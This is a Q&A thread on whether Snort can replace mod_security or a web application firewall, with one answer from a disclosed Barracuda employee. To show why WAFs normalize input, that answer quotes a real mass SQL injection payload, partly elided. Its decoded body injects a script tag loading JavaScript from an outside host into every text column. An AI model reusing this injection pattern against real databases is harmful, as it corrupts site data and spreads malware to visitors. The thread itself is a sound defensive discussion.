I am considering deploying mod_security as an addition to our web infrastructure. I am worried about the increased load however as these servers get a lot of hits. I am considering using IPS's such as Snort in line between the web servers and load balancers.

Does Snort's enterprise subscription contain a vast array of rules to filter web attacks such as SQL injection, path injection, command injection, XSS, %00, common attacks against CMS, etc. There are several comprehensive mod_sec rulesets out there. Is webappsec a good use for Snort or is it more for traditional exploits?

TLDR: I want to offload the functionality of mod_security to an external system or web application firewall applicance. If Snort is not the answer, what is?

3 Answers 3


Web application firewalls like mod_security have the potential to be more effective than network-based IDSs like Snort, because a web firewall can see the request exactly as it will be handled by the web server, and a network-based IDS cannot.

Network-based systems, like Snort, can only see the network packets. They have to infer/guess how the web server will interpret them. This introduces additional possibilities for evasion attacks (ways to conceal an attack). I'm not saying that mod_security is perfect or immune to evasion attacks, just that evasion attacks pose an even greater challenge for network-based solutions, like Snort.

The advantage of network-based solutions is that in some cases they can be easier to deploy. If you have a bunch of webservers, you can stick a network-based IDS at a chokepoint in the network, and they protect every webserver behind them, without needing to install and configure mod_security at each one.

That said, none of these approaches provide strong security. They are a stopgap, a way to mitigate security issues with legacy systems, but they can be defeated and they have many shortcomings. If you have the option, it is far better to build security into your software (e.g., your web applications) from the start. IT folks love the idea of IDS, IPS, and web firewalls, because they're easier to deploy -- but I think their benefits are often oversold. Trying to mitigate vulnerable software after-the-fact with an IDS, IPS, or a web firewall is brittle and prone to failure.

  • I'm not saying a WAF is an excuse for poor code... It's just another link in the chain. Thanks for the info. Do you have any experience with any of the appliance products such as Barracuda.
    – user974896
    Oct 16, 2012 at 19:33
  • +1. WAF/IPS will also need managing to mitigate the impact of inevitable false positives.
    – bobince
    Oct 17, 2012 at 13:16

IPS like Snort are more of generalists for protecting commonly used Internet Protocols like HTTP, DNS, FTP, SMTP etc.

WAFs are supposed to be specialists for protecting HTTP.

Just to take injection attacks like SQLi, XSS as a starting point:

You can take some or all of mod_security's signatures and attempt to write equivalents for snort. However, IPS products do not have the same level of normalization for [obfuscated attacks][1], thus they are easy to evade. WAFs like Barracuda, normalize web based inputs before they apply their signatures, this prevents bypass using hex/URL/UTF-8/Unicode encoding, SQL comments etc.

For example, sometime back this mass SQL injection was doing the rounds on the Internet targeting MS SQL:

DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C41
    ....[more hex code]
    26C655F437572736F7220 AS VARCHAR(4000));EXEC(@S);--

WAFs are supposed to first normalize the content which becomes:


        DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM 
        sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' 
        AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)

        OPEN Table_Cursor

        FETCH NEXT FROM Table_Cursor INTO @T,@C

            BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=
            +''<script src=http://www.adwbnr.com/b.js>
            FETCH NEXT FROM Table_Cursor INTO @T,@C

        CLOSE Table_Cursor

        DEALLOCATE Table_Cursor

And then apply the SQL checks to block these.

IPS, like snort, normally dont provide "zero-day" protection against such attacks, they provide specific signatures reactively to such attacks like Asprox botnet specifc signatures etc. And these are not effective against newer zero day vulnerabilities.

Then there are new forms of attacks - like HTTP Parameter Pollution which no IPS will defend against, as it involves examining, for example, the concatenated value of multiple input parameters (?a=SEL&a=ECT).

This is just a note on injection attacks, there are many other attacks which require a deeper understanding of the HTTP protocol which is absent in most IPS products. Session riding, CSRF, cookie poisoning, cookie replay, etc to name a few.

You can also look at this white paper for a high level overview.

Disclaimer: I work for Barracuda Networks which is a WAF vendor.

  • I actually live chatted you guys when I made the OP. Your WAF seems to be a great (although expensive) product. Not sure what our organization is going to do but we might be ordering from you. The sales rep couldn't give me a clear answer but can the virtual appliance be used as a replacement for the hardware appliance as we have pretty beefy hardware laying around. The DOCs seem to state that your VI is more for protecting virtual hosts. I don't see why you couldn't just route traffic through it and use it as a pseudo-hardware appliance which if i had to guess is just a beefy linux box
    – user974896
    Oct 23, 2012 at 13:47

Yes, the virtual WAF are all but similar when it comes to appsec. And as you rightly point out, they are agnostic to the servers they are protecting which can be either physical or virtual. All they need to know is the web server IP/Port.

Obviously, for the virtual WAF, performance will depend on the underlying hardware as well as some layer 2-3 stuff like VLANs will need additional configuring on the host. Ask to be put in touch with the PM team at Barracuda if your queries don't get answered.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.